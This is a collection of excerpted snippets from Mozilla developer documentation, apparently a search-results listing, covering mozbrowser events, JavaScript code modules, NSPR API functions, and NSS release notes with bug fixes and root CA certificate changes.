... note: for performance reasons, this event is asynchronous.
... examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserasyncscroll", function( event ) { console.log("the scroll top position of the document is:" + event.details.top + "px"); }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserloadend
although implementations may change in the future and it is not supported widely across browsers, it is suitable for use in code dedicated to firefox os apps.
... example in this example the mozbrowserloadstart and mozbrowserloadend events are used to change the icon shown on the stop/reload button between stop (x) and reload (r), as appropriate.
... in addition, the background of the controls ui bar is changed to the background color of the site that has just loaded, to provide a more integrated experience.
...browser.addeventlistener('mozbrowserloadend',function(e) { stopreload.textcontent = 'r'; console.log(e.detail.backgroundcolor); controls.style.background = e.detail.backgroundcolor; }); browser.addeventlistener('mozbrowserloadend',function() { stopreload.textcontent = 'r'; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
Embedding Mozilla
gecko allows third-party developers to use the same technology as found in mozilla.
... that means you can embed a web browser inside a third-party application, open channels and streams through the network backend, walk through the dom and so on.
... you can even construct whole new applications using chrome.
... mailing list newsgroup rss feed #embedding irc channel related topics gecko, xpcom ...
Integrated Authentication
this entails support for the the simple and protected gss-api negotiation mechanism (spnego) internet standard (rfc 2478) to negotiate either kerberos, ntlm, or other authentication protocols supported by the operating system.
... configuration by default, mozilla rejects all spnego challenges from a web server.
...so, it is paramount that the browser does not freely exchange ntlm user credentials with any server that requests them.
...list); pref("network.automatic-ntlm-auth.trusted-uris", site-list); where, site-list is a comma-separated list of url prefixes or domains of the form: site-list = "mydomain.com, https://myotherdomain.com" network.negotiate-auth.trusted-uris lists the sites that are permitted to engage in spnego authentication with the browser, and network.negotiate-auth.delegation-uris lists the sites for which the browser may delegate user authorization to the server.
DownloadLastDir.jsm
the downloadlastdir.jsm javascript code module lets you retrieve the path of the last directory into which a download occurred.
... to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloadlastdir.jsm"); if you are using addon sdk, you can import the code module as: let { cu } = require("chrome"); let downloadlastdir = cu.import("resource://gre/modules/downloadlastdir.jsm").downloadlastdir; once you've imported the module, you can then use the downloadlastdir object it exports.
... using the downloadlastdir object to determine or set the path into which the last download occurred: // file is an nsifile var file = downloadlastdir.file; downloadlastdir.file = file; you can also set and retrieve this information on a site-by-site basis.
...however, when private browsing mode is enabled, the last download directory path is instead maintained in memory, and the preference is not changed.
DownloadSummary
addview() adds a view that will be notified of changes to the summary.
... the newly added view will receive an initial onsummarychanged notification.
...the following methods may be defined: onsummarychanged: optional called after any property of the summary has changed.
... promise resolves to undefined when the view has been registered and the onsummarychanged notification has been sent.
FxAccountsProfileClient.jsm
the fxaccountsprofileclient.jsm javascript module provides a way to fetch firefox accounts profile information.
...components.utils.import("resource://gre/modules/fxaccountsprofileclient.jsm"); creating a new fxaccountsprofileclient new fxaccountsprofileclient(object options); method overview fetchprofile(); attributes serverurl url profiler server url.
...methods fetchprofile() fetches firefox accounts profile information.
... examples using the fxaccountsprofileclient chrome code let client = new fxaccountsprofileclient({ serverurl: "https://profile.accounts.firefox.com/v1", token: "fxa_oauth_bearer_token", }); client.fetchprofile().then(profile => console.log(profile)); error handling the fxaccountsprofileclient.jsm normalizes request and client errors into fxaccountsprofileclienterror object.
Log.jsm
the log.jsm javascript code module (formerly named log4moz.js) provides a log4j style api for logging log messages to various endpoints, such as the browser console or a file on disk.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/log.jsm"); basic usage components.utils.import("resource://gre/modules/log.jsm"); // get a logger, give it a name unique to this chunk of code.
... // use dots to create a hierarchy, this way you can later change // the log level of sets of loggers under some common root let log = log.repository.getlogger("myextension.myclass"); log.level = log.level.debug; // a console appender logs to the browser console.
...something bad happened!"); log.debug("details about bad thing only useful during debugging", {someinfo: "nothing"}); log.warn("here is an error", new error("ouch")); logger levels fatal severe errors that cause premature termination.
Services.jsm
to use it, you first need to import the code module into your javascript scope: const {services} = chromeutils.import("resource://gre/modules/services.jsm"); then you can obtain references to services by simply accessing them from the services object exported by the code module.
...refsservice = services.prefs; provided service getters service accessor service interface service name androidbridge nsiandroidbridge 1 appinfo nsixulappinfo nsixulruntime application information service appshell nsiappshellservice application shell service blocklist nsiblocklistservice blocklist service cache nsicacheservice cache service cache2 nsicachestorageservice cache storage service clipboard nsiclipboard clipboard console nsiconsoleservice error console service contentprefs nsicontentprefservice content preferences service cookies nsicookiemanager2 cookie manager 2 service cpmm nsimessagesender chi...
...ice metro nsiwinmetroutils 2 mm nsimessagebroadcaster nsiframescriptloader global frame message manager3 obs nsiobserverservice observer service perms nsipermissionmanager permission manager service ppmm nsimessagebroadcaster nsiprocessscriptloader global parent process message manager3 prefs nsiprefbranch nsiprefbranch2 nsiprefservice preferences service prompt nsipromptservice prompt service scriptloader mozijssubscriptloader javascript subscript loader service scriptsecuritymanager nsiscriptsecuritymanager script security manager search nsibrowsersearchservice browser search service startup nsiappstartup applic...
...info service telemetry nsitelemetry telemetry service tm nsithreadmanager thread manager service urifixup nsiurifixup uri fixup service urlformatter nsiurlformatter url formatter service vc nsiversioncomparator version comparator service wm nsiwindowmediator window mediator service ww nsiwindowwatcher window watcher service 1 mobile only 2 windows only 3 main process only 4 child process only ...
Task.jsm
the task.jsm javascript code module implements a subset of task.js to make sequential, asynchronous operations simple, using the power of javascript's yield operator.
...eturn task.spawn((function* () { return yield sendgreeting(this.message.replace(/name/, name)); }).bind(this); }) }; with async(), the method can be declared succinctly: let greeter = { message: "hello, name!", greet: task.async(function* (name) { return yield sendgreeting(this.message.replace(/name/, name)); }) }; while maintaining identical semantics: greeter.greet("mitchell").then((reply) => { ...
... we can easily loop while // calling asynchronous functions, and wait multiple times.
...ion handling components.utils.import("resource://gre/modules/osfile.jsm") components.utils.import("resource://gre/modules/task.jsm") task.spawn(function* () { let currentdir = yield os.file.getcurrentdirectory(); let path = os.path.join(currentdir, ".mozconfig"); try { let info = yield os.file.stat(path); console.log("the .mozconfig file is " + info.size + " bytes long."); } catch (ex if ex instanceof os.file.error && ex.becausenosuchfile) { console.log("you don't have .mozconfig in " + currentdir); } }).then(null, components.utils.reporterror); in this example, if the promise returned by os.file.stat is rejected, an exception is thrown inside the task.
Web Localizability
localizability (or l12y for short) is a characteristic found in an application or content that enables localization.
...how to choose the right localization format.
... you will make localizer's life easier, for which they will be grateful.
...you will end up writing more semanticly-correct code, which is good for your seo.
Extras
mathml extras this is a technology demonstration of some of the extras in mozilla but not defined in the mathml spec, and not prevented by the spec either.
...8"/> </radialgradient> </defs> <rect width="300" height="250" fill="url(#grad1)"/> <g transform="translate(150,125)"> <g> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0" to="360" dur="6s" repeatcount="indefinite"/> <g transform="translate(-50,-35)"> <rect width="100" height="70" fill="url(#grad2)"/> <switch> <foreignobject width="100" height="70" requiredextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <mo>(</mo> <mtable> <mtr> <mtd><mi>cos</mi><mi>θ</mi></mtd> <mtd><mo>−</mo><mi>sin</mi><mi>θ</mi></mtd> </mtr> <mtr> <mtd><mi>sin</mi><mi>θ</mi></mtd> <mtd><mi>cos</mi><mi>θ</mi></mtd> </mtr> </mtable> <mo>)</mo> </mrow> </math> </foreigno...
...bject> <text>rotation matrix</text> </switch> </g></g></g> <g> <animatemotion path="m 32,69 c 64,121 100,27 152,42 203,56 239,257 275,161 295,109 144,221 88,214 -2,202 11,35 32,69 z" begin="0s" dur="20s" repeatcount="indefinite"/> <animatetransform attributename="transform" attributetype="xml" type="scale" values="1;2;.5;1" keytimes="0;.25;.75;1" dur="20s" repeatcount="indefinite"/> <circle fill="url(#grad3)" r="30"/> <g transform="translate(-30,-30)"> <switch> <foreignobject width="60" height="60" requiredextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>0</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <msup> ...
...<mi>α</mi> <mi>n</mi> </msup> <mrow> <mi>n</mi> <mo>!</mo> </mrow> </mfrac> </mrow> </math> </foreignobject> <text>exp(α)</text> </switch> </g> </g> </svg> </div> inline javascript html content <math display="block"> <mfrac> <mtext id="num">mouse</mtext> <mtext id="denum">over</mtext> </mfrac> </math> javascript content function whoistherealert(evt) { alert("who is there?"); } function attachlistener(id) { document.getelementbyid(id).addeventlistener("mouseover", whoistherealert); } function init() { attachlistener("num"); attachlistener("denum"); } window.addeventlistener("load", init); ...
Updates
march 22, 2011 firefox 4.0 has been released!
...some improvements are particularly worth noting: a new html parser, which lets you use mathml inside non-xhtml documents.
... better rendering of mathematical symbols, especially stretchy operators.
... interview to the apc magazine where mitchell baker mentions roger sidje's work on mathml.
Mozilla Development Tools
if you are doing active development, checking out source code from one of these is preferable to downloading an archived snapshot, as you get up-to-the-minute changes.
...it is our home-grown web-based tool for watching the up-to-the-minute goings-on in our cvs repository (viewing checkins and log messages, reading diffs, etc.) tinderbox tinderbox is for knowing when the tree is in flames.
... it is our home-grown web-based tool for watching the progress of the continuous builds that we run on multiple platforms.
... it is how we are able to tell when a checkin has broken the build on some platform, and how we know which person needs to be viciously flogged.
dtrace
sudo dtrace -n 'mach_kernel::wakeup { @[ustack()] = count(); }' -p $firefox_pid > $output_file let's break that down further.
... the -n option combined with the mach_kernel::wakeup selects a probe point.
... mach_kernel is the module name and wakeup is the probe name.
...dtrace will then print to the output file a number of stack traces, along with a wakeup count for each one.
MailNews
it provides a number of functions and capabilities, including: communications protocols - smtp, pop3, imap, nntp message management, including search and filtering message composition address book the mailnews code lives in the mailnews/ directory of comm-central.
... asynctestutils extended framework the asynctestutils extended framework is one mechanism for testing the mailnews component of thunderbird.
... see mailnews automated testing for a description of the other testing mechanisms.
...it allows reviewers to quickly pick up regressions in patches and helps developers to think about different cases.
Process Forking in NSPR
the threads provided in netscape portable runtime (nspr) are implemented using different mechanisms on the various platforms.
...all the threads present in the parent process may be replicated in the child process, only the calling thread may be replicated in the child process or only the calling kernel thread may be replicated.
... so, to be consistent across all platforms, it is suggested that when using fork in a nspr thread; the exec function should be called in the child process.
... no nspr functions should be called in the child process before the exec call is made.
Atomic Operations
this chapter describes the global functions you use to perform atomic operations.
...since not all operating environments provide access to such functions, their performance may vary considerably.
...on systems that do not provide direct access to atomic operators, nspr emulates the capabilities by using its own locking mechanisms.
... for such systems, nspr performs atomic operations just as efficiently as the client could.
PRTime
syntax #include <prtime.h> typedef print64 prtime; description this type is a 64-bit integer representing the number of microseconds since the nspr epoch, midnight (00:00:00) 1 january 1970 coordinated universal time (utc).
... a time after the epoch has a positive value, and a time before the epoch has a negative value.
... in nspr, we use the more familiar term greenwich mean time (gmt) in place of utc.
... note: keep in mind that while prtime stores times in microseconds since epoch, javascript date objects store times in milliseconds since epoch.
PR_CWait
wait for a notification that a monitor's state has changed.
... timeout the amount of time (in printervaltime units) that the thread is willing to wait for an explicit notification before being rescheduled.
... pr_failure indicates either that the monitor could not be located in the cache or that the monitor was located and the calling thread was not the thread that held the monitor's mutex.
... description using the value specified in the address parameter to find a monitor in the monitor cache, pr_cwait waits for a notification that the monitor's state has changed.
PR_CreateThread
start a pointer to the thread's root function, which is called as the root of the new thread.
...if you pass zero in this parameter, pr_createthread chooses the most favorable machine-specific stack size.
...for more information on locks and thread synchronization, see introduction to nspr.
...you can then use pr_jointhread to synchronize the termination of another thread.
PR ImportTCPSocket
for example, on posix systems, nspr will put the native file descriptor (an int) in non-blocking mode by calling fcntl to set the o_nonblock file status flag on the native file descriptor, and then nspr will call socket functions such as recv, send, and poll on the native file descriptor.
... warning in theory, code that uses pr_importtcpsocket may break when nspr's implementation changes.
...using pr_importtcpsocket is much more convenient than writing an nspr i/o layer that wraps your native tcp sockets.
...if you are not sure whether pr_importtcpsocket is right for you, please ask in the mozilla.dev.tech.nspr newsgroup.
PR_Initialize
syntax #include <prinit.h> printn pr_initialize( prprimordialfn prmain, printn argc, char **argv, pruintn maxptds); parameters pr_initialize has the following parameters: prmain the function that becomes the primordial thread's root function.
... argc the length of the argument vector, whether passed in from the host's program-launching facility or fabricated by the actual main program.
... this approach conforms to standard c programming practice.
...this approach conforms to standard c programming practice.
PR_MkDir
syntax #include <prio.h> prstatus pr_mkdir( const char *name, printn mode); parameters the function has the following parameters: name the name of the directory to be created.
...search by owner.
...search by group.
...search by others.
PR_PushIOLayer
id a prdescidentity object for the layer on the stack above which the new layer is to be added.
... even if the id parameter indicates the topmost layer of the stack, the value of the file descriptor describing the original stack will not change.
...the correct mechanism to access the object is to get a pointer to it by calling pr_getidentitieslayer.
...if the original container was allocated using a different mechanism than used by the runtime, the default calling of the layer's destructor by the runtime will fail pr_createiolayerstub is provided to allocate layer objects and template implementations).
PR_SetConcurrency
virtual processors are actuallyglobal threads, each of which is designed to support an arbitrary number oflocal threads.
... since global threads are scheduled by the host operating system, this model is particularly applicable to multiprocessor architectures, where true parallelism is possible.
... however, it may also prove advantageous on uniprocessor systems to reduce the impact of having a locally scheduled thread calling incidental blocking functions.
... in such cases, all the threads being supported by the virtual processor will block, but those assigned to another virtual processor will be unaffected.
PR_WaitCondVar
syntax #include <prcvar.h> prstatus pr_waitcondvar( prcondvar *cvar, printervaltime timeout); parameters pr_waitcondvar has the following parameters: cvar the condition variable on which to wait.
...the value pr_interval_no_wait causes the thread to release the lock, possibly causing a rescheduling within the runtime, then immediately attempt to reacquire the lock and resume.
...when scheduled, the thread attempts to reacquire the lock that it held when pr_waitcondvar was called.
... any value other than pr_interval_no_timeout or pr_interval_no_wait for the timeout parameter will cause the thread to be rescheduled due to either explicit notification or the expiration of the specified interval.
PR_strtod
syntax #include <prdtoa.h> prfloat64 pr_strtod(const char *s00, char **se); parameters the function has these parameters: s00 the input string to be scanned.
... se a pointer that, if not null, will be assigned the address of the last character scanned in the input string.
...the string is scanned up to the first unrecognized character.
... if the value of se is not (char **) null, pr_strtod stores a pointer to the character terminating the scan in *se.
Process Initialization
this chapter describes the nspr api for versioning, process initialization, and shutdown of nspr.
... identity and versioning initialization and cleanup module initialization identity and versioning name and version constants pr_name pr_version pr_versioncheck initialization and cleanup nspr detects whether the library has been initialized and performs implicit initialization if it hasn't.
... implicit initialization should suffice unless a program has specific sequencing requirements or needs to characterize the primordial thread.
...pr_callonce ensures that such initialization code is called only once.
Process Management and Interprocess Communication
this chapter describes the nspr routines that deal with processes.
...a new process can inherit specified file descriptors from its parent, and the parent can redirect the standard i/o streams of the child process to specified file descriptors.
... note that the functions described in this chapter are not available for macos or win16 operating systems.
...ing the attributes of a new process the functions that create and manipulate attribute sets of new processes are: pr_newprocessattr pr_resetprocessattr pr_destroyprocessattr pr_processattrsetstdioredirect pr_processattrsetcurrentdirectory pr_processattrsetinheritablefd creating and managing processes the functions that create and manage processes are: pr_createprocess pr_detachprocess pr_waitprocess pr_killprocess ...
NSPR API Reference
introduction to nspr nspr naming conventions nspr threads thread scheduling setting thread priorities preempting threads interrupting threads nspr thread synchronization locks and monitors condition variables nspr sample code nspr types calling convention types algebraic types 8-, 16-, and 32-bit integer types signed integers unsigned integers 64-bit integer types floating-point integer type native os integer types miscellaneous types size type pointer difference types boolean types status type for return values threads threading types and constants threading functions creating, joining, and identifying threads controlling thread priorities con...
...rrupting and yielding setting global thread concurrency getting a thread's scope process initialization identity and versioning name and version constants initialization and cleanup module initialization locks lock type lock functions condition variables condition variable type condition variable functions monitors monitor type monitor functions cached monitors cached monitor functions i/o types directory type file descriptor types file info types network address types types used with socket options functions type used with memory-mapped i/o offset interpretation for seek functions i/o functions functions that operate on pathnames functions that act on file descriptors directory i/o functions socket manipulation function...
... dynamic library linking library linking types prlibrary prstaticlinktable library linking functions pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding symbols defined in the main executable program platform notes dynamic library search path exporting symbols from the main executable program process management and interprocess communication process management types and constants prprocess prprocessattr process management functions setting the attributes of a new process creating and managing processes multiwait receive system information and environment variables logging conditi...
...onal compilation and execution log types and variables prlogmoduleinfo prlogmodulelevel nspr_log_modules nspr_log_file logging functions and macros pr_newlogmodule pr_setlogfile pr_setlogbuffering pr_logprint pr_logflush pr_log_test pr_log pr_assert pr_assert pr_not_reached use example instrumentation counters named shared memory shared memory protocol named shared memory functions anonymous shared memory anonymous memory protocol anonymous shared memory functions ipc semaphores ipc semaphore functions thread pools thread pool types thread pool functions random number generator random number generator function hash tables hash tables and type constants hash table functions nspr error handling ...
NSPR release process
five files need to be updated: configure.in, configure, repackage.sh, prinit.h, and vercheck.c.
... make a dummy change (add or remove a blank line) to mozilla/nsprpub/config/prdepend.h.
... make sure the nss tinderboxes (which also build and test nspr) are all green.
... make a dummy change (add or remove a blank line) to mozilla/nsprpub/config/prdepend.h.
CERT_FindCertByDERCert
find a certificate in the database that matches a der-encoded certificate.
...to find the certificate that matches the der-encoded certificate.
... a match is found when the issuer and serial number of the der-encoded certificate are found on a certificate in the certificate database.
... returns a pointer to a certcertificate representing the certificate in the database that matched the dercert, or null if none was found.
JSS
MozillaProjectsNSSJSS
jss source should now be checked out from the github: git clone git@github.com:dogtagpki/jss.git -- or -- git clone https://github.com/dogtagpki/jss.git all future upstream enquiries to jss should now use the pagure issue tracker system: https://pagure.io/jss/issues documentation regarding the jss project should now be viewed at: http://www.dogtagpki.org/wiki/jss note: as much of the jss documentation is sorely out-of-date, updated information will be a work in progress, and many portions of any legacy documentation will be re-written over the course of time.
...jss supports most of the security standards and encryption technologies supported by nss.
...a current limitation to the configured sunpkcs11-nss bridge configuration is if you add a pkcs#11 module to the nss database such as for a smartcard, you won't be able to access that smartcard through the sunpkcs11-nss bridge.
... documentation before you use jss, you should have a good understanding of the crypto technologies it uses.
NSS 3.12.9 release notes
<center> 2010-09-23</center> <center> newsgroup: mozilla.dev.tech.crypto</center> introduction network security services (nss) 3.12.9 is a patch release for nss 3.12.
... you also need to download the nspr 4.8.7 binary distributions to get the nspr 4.8.7 header files and shared libraries, which nss 3.12.9 requires.
... bug 609068: implement j-pake in freebl bug 607058: crash [@ nss_cms_decoder_work_data] bug 613394: november/december 2010 batch of nss root ca changes bug 610843: need way to recover softoken in child after fork() bug 617492: add pk11_keygenwithtemplate function to pk11wrap (for firefox sync) bug 610162: sha-512 and sha-384 hashes are incorrect for inputs of 512mb or larger when running under windows and other 32-bit platforms (fx 3.6.12 and 4.0b6) bug 518551: vfychain crashes in pkits tests.
... bug 596798: win_rand.c (among others) uses unsafe _snwprintf bug 597622: do not use the sec_error_bad_info_access_location error code for bad crl distribution point urls bug 619268: memory leaks in cert_changecerttrust and cert_savesmimeprofile bug 585518: addtrust qualified ca root serial wrong in certdata.txt trust entry bug 337433: need cert_findcertbynicknameoremailaddrbyusage bug 592939: expired cas in certdata.txt documentation <for a="" class="new " documentation="" href="/en/index.html#documentation" list="" nss="" of="" pages="" primary="" rel="internal" see="" the="" title="en...
NSS 3.15.1 release notes
introduction network security services (nss) 3.15.1 is a patch release for nss 3.15.
... the hash function used in the signature for tls 1.2 client authentication must be the hash function of the tls 1.2 prf, which is always sha-256 in nss 3.15.1.
... new pkcs #11 mechanisms none.
... notable changes in nss 3.15.1 bug 856060 - enforce name constraints on the common name in libpkix when no subjectaltname is present.
NSS 3.16.2.2 release notes
introduction network security services (nss) 3.16.2.2 is a patch release for nss 3.16.
...this is a patch release to fix a regression.
... notable changes in nss 3.16.2.2 bug 1049435: change rsa_privatekeycheck to not require p > q.
... this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries.
NSS 3.16.6 release notes
introduction network security services (nss) 3.16.6 is a patch release for nss 3.16.
...this is a patch release to fix a regression.
... notable changes in nss 3.16.6 bug 1049435: change rsa_privatekeycheck to not require p > q.
... this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries.
NSS 3.17.1 release notes
introduction network security services (nss) 3.17.1 is a patch release for nss 3.17.
... new in nss 3.17.1 this patch release adds new functionality and fixes a bug that caused nss to accept forged rsa signatures.
... notable changes in nss 3.17.1 signature algorithms now use sha-256 instead of sha-1 by default.
... bugs fixed in nss 3.17.1 this bugzilla query returns all the bugs fixed in nss 3.17.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.1 acknowledgements the nss development team would like to thank antoine delignat-lavaud, security researcher at inria paris in team prosecco, and the advanced threat research team at intel security, who both independently discovered and reported this issue, for responsibly disclosing the issue by providing advance copies of their research.
NSS 3.17.4 release notes
introduction network security services (nss) 3.17.4 is a patch release for nss 3.17.
...this is a patch release to fix multiple bugs.
... notable changes in nss 3.17.4 bug 1084986: if an ssl/tls connection fails, because client and server don't have any common protocol version enabled, nss has been changed to report error code ssl_error_unsupported_version (instead of reporting ssl_error_no_cypher_overlap).
... bug 1112461: libpkix was fixed to prefer the newest certificate, if multiple certificates match.
NSS 3.18.1 release notes
introduction network security services (nss) 3.18.1 is a patch release for nss 3.18.
...this is a patch release to update the list of root ca certificates.
... notable changes in nss 3.18.1 the following ca certificate had the websites and code signing trust bits restored to their original state to allow more time to develop a better transition strategy for affected sites.
...but when firefox 38 went into beta, there was a huge spike in the number of certificate verification errors attributed to this change.
NSS 3.19.2.1 release notes
introduction network security services (nss) 3.19.2.1 is a patch release for nss 3.19.2.
... the following security-relevant bugs have been resolved in nspr 4.10.10, which affect nss.
...this may allow attackers to bypass security checks and obtain control of arbitrary memory.
...this is a patch release to fix security-relevant bugs.
NSS 3.19.2 release notes
introduction network security services (nss) 3.19.2 is a patch release for nss 3.19 that addresses compatibility issues in nss 3.19.1.
... notable changes in nss 3.19.2 bug 1172128 - in nss 3.19.1, the minimum key sizes that the freebl cryptographic implementation (part of the softoken cryptographic module used by default by nss) was willing to generate or use was increased - for rsa keys, to 512 bits, and for dh keys, 1023 bits.
...however, this change in behaviour unintentionally broke existing nss applications that need to generate or use such keys, via apis such as seckey_creatersaprivatekey or seckey_createdhprivatekey.
... in nss 3.19.2, this change in freebl behaviour has been reverted.
NSS 3.19.4 release notes
introduction network security services (nss) 3.19.4 is a patch release for nss 3.19.
... the following security-relevant bugs have been resolved in nspr 4.10.10, which affect nss.
...this may allow attackers to bypass security checks and obtain control of arbitrary memory.
...this is a patch release to fix security-relevant bugs.
NSS 3.20.1 release notes
introduction network security services (nss) 3.20.1 is a patch release for nss 3.20.
... the following security-relevant bugs have been resolved in nspr 4.10.10, which affect nss.
...this may allow attackers to bypass security checks and obtain control of arbitrary memory.
...this is a patch release to fix security-relevant bugs.
NSS 3.22.2 release notes
introduction network security services (nss) 3.22.2 is a security patch release for nss 3.22.
...an attacker could create a specially-crafted certificate which, when parsed by nss, would cause a crash or execution of arbitrary code with the permissions of the user.
... notable changes in nss 3.22.2 bug 1247990 - the root ca changes from nss 3.23 have been backported.
... acknowledgements the nss development team would like to thank security researcher francis gabriel for responsibly disclosing the issue in bug 1245528.
NSS 3.25 release notes
introduction the network security services (nss) team has released nss 3.25, which is a minor release.
... added support for chacha with tls 1.3.
... new functions in nssckfw.h nssckfwslot_getslotid nssckfwsession_getfwslot nssckfwinstance_destroysessionhandle nssckfwinstance_findsessionhandle notable changes in nss 3.25 an ssl socket can no longer be configured to allow both tls 1.3 and ssl v3.
... the following ca certificate was removed cn = sonera class1 ca sha-256 fingerprint: cd:80:82:84:cf:74:6f:f2:fd:6e:b5:8a:a1:d5:9c:4a:d4:b3:ca:56:fd:c6:27:4a:89:26:a7:83:5f:32:31:3d the following ca certificates were added cn = hellenic academic and research institutions rootca 2015 sha-256 fingerprint: a0:40:92:9a:02:ce:53:b4:ac:f4:f2:ff:c6:98:1c:e4:49:6f:75:5e:6d:45:fe:0b:2a:69:2b:cd:52:52:3f:36 cn = hellenic academic and research institutions ecc rootca 2015 sha-256 fingerprint: 44:b5:45:aa:8a:25:e6:5a:73:ca:15:dc:27:fc:36:d2:4c:1c:b9:95:3a:06:65:39:b1:15:82:dc:48:7b:48:33 cn = certplus root ca g1 ...
NSS 3.28.1 release notes
introduction network security services (nss) 3.28.1 is a patch release for nss 3.28.
...this is a patch release to update the list of root ca certificates, and address a minor tls compatibility issue, that some applications experienced with nss 3.28.
... notable changes in nss 3.28.1 the following ca certificates were removed cn = buypass class 2 ca 1 sha-256 fingerprint: 0f:4e:9c:dd:26:4b:02:55:50:d1:70:80:63:40:21:4f:e9:44:34:c9:b0:2f:69:7e:c7:10:fc:5f:ea:fb:5e:38 cn = root ca generalitat valenciana sha-256 fingerprint: 8c:4e:df:d0:43:48:f3:22:96:9e:7e:29:a4:cd:4d:ca:00:46:55:06:1c:16:e1:b0:76:42:2e:f3:42:ad:63:0e ou = rsa security 2048 v3 sha-256 fingerprint: af:8b:67:62:a1:e5:28:22:81:61:a9:5d:5c:55:9e:e2:66:27:8f:75:d7:9e:83:01:89:a5:03:50:6a:bd:6b:4c the following ca certificates were added ou = ac raiz fnmt-rcm sha-256 fingerprint: eb:c5:57:0c:29:01:8c:4d:67:b1:aa:12:7b:af:12:f7:03:b4:61:1e:bc:17:b7:da:b5:57:38:94:17:9b:93:fa c...
... bugs fixed in nss 3.28.1 bug 1296697 - december 2016 batch of root ca changes bug 1322496 - internal error assert when the other side closes connection before reading eoed compatibility nss 3.28.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.30.2 release notes
introduction network security services (nss) 3.30.2 is a patch release for nss 3.30.
...this is a patch release to update the list of root ca certificates.
... notable changes in nss 3.30.2 the following ca certificates were removed: o = japanese government, ou = applicationca sha-256 fingerprint: 2d:47:43:7d:e1:79:51:21:5a:12:f3:c5:8e:51:c7:29:a5:80:26:ef:1f:cc:0a:5f:b3:d9:dc:01:2f:60:0d:19 cn = wellssecure public root certificate authority sha-256 fingerprint: a7:12:72:ae:aa:a3:cf:e8:72:7f:7f:b3:9f:0f:b3:d1:e5:42:6e:90:60:b0:6e:e6:f1:3e:9a:3c:58:33:cd:43 cn=tÜrktrust elektronik sertifika hizmet sağlayıcısı h6 sha-256 fingerprint: 8d:e7:86:55:e1:be:7f:78:47:80:0b:93:f6:94:d2:1d:36:8c:c0:6e:03:3e:7f:ab:04:bb:5e:b9:9d:a6:b7:00 cn=microsec e-szigno root sha-256 fingerprint: 32:7a:3d:76:1a:ba:de:a0:34:eb:99:84:06:27:5c:b1:a4:77:6e:fd:ae:2f:df:6d:01:68:ea:1c:4f...
...= d-trust root ca 3 2013 sha-256 fingerprint: a1:a8:6d:04:12:1e:b8:7f:02:7c:66:f5:33:03:c2:8e:57:39:f9:43:fc:84:b3:8a:d6:af:00:90:35:dd:94:57 trust flags: email cn = tubitak kamu sm ssl kok sertifikasi - surum 1 sha-256 fingerprint: 46:ed:c3:68:90:46:d5:3a:45:3f:b3:10:4a:b8:0d:ca:ec:65:8b:26:60:ea:16:29:dd:7e:86:79:90:64:87:16 trust flags: websites technically constrained to: gov.tr, k12.tr, pol.tr, mil.tr, tsk.tr, kep.tr, bel.tr, edu.tr, org.tr the version number of the updated root ca list has been set to 2.14 (the version numbers 2.12 and 2.13 for the root ca list have been skipped.) bugs fixed in nss 3.30.2 bug 1350859 - march 2017 batch of root ca changes bug 1349705 - implemented domain name constraints for ca: tubit...
NSS 3.30 release notes
introduction the network security services (nss) team has released nss 3.30, which is a minor release.
... in pk11pub.h pk11_hasattributeset - allows to check if a pkcs#11 object in a given slot has a specific boolean attribute set.
... new macros in ciferfam.h pkcs12_aes_cbc_128, pkcs12_aes_cbc_192, pkcs12_aes_cbc_256 - cipher family identifiers corresponding to the pkcs#5 v2.1 aes based encryption schemes used in the pkcs#12 support in nss in pkcs11n.h cka_nss_mozilla_ca_policy - identifier for a boolean pkcs#11 attribute, that should be set to true, if a ca is present because of it's acceptance according to the mozilla ca policy notable changes in nss 3.30 the tls server code has been enhanced to support session tickets when no rsa certificate (e.g.
... the pk12util tool now supports importing and exporting data encrypted in the aes based schemes defined in pkcs#5 v2.1.
NSS 3.31 release notes
introduction the network security services (nss) team has released nss 3.31, which is a minor release.
... notable changes in nss 3.31 the apis that set a tls version range have been changed to trim the requested range to the overlap with a systemwide crypto policy, if configured.
...they have been changed to return success, if at least one tls version overlaps between the requested range and the systemwide policy.
... corrected the encoding of domain name constraints extensions created by certutil nss supports a clean seeding mechanism for *nix systems now using only /dev/urandom.
NSS 3.32 release notes
introduction the network security services (nss) team has released nss 3.32, which is a minor release.
... nss 3.32 source distributions are available on ftp.mozilla.org, for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_32_rtm/src/ notable changes in nss 3.32 various minor improvements and correctness fixes.
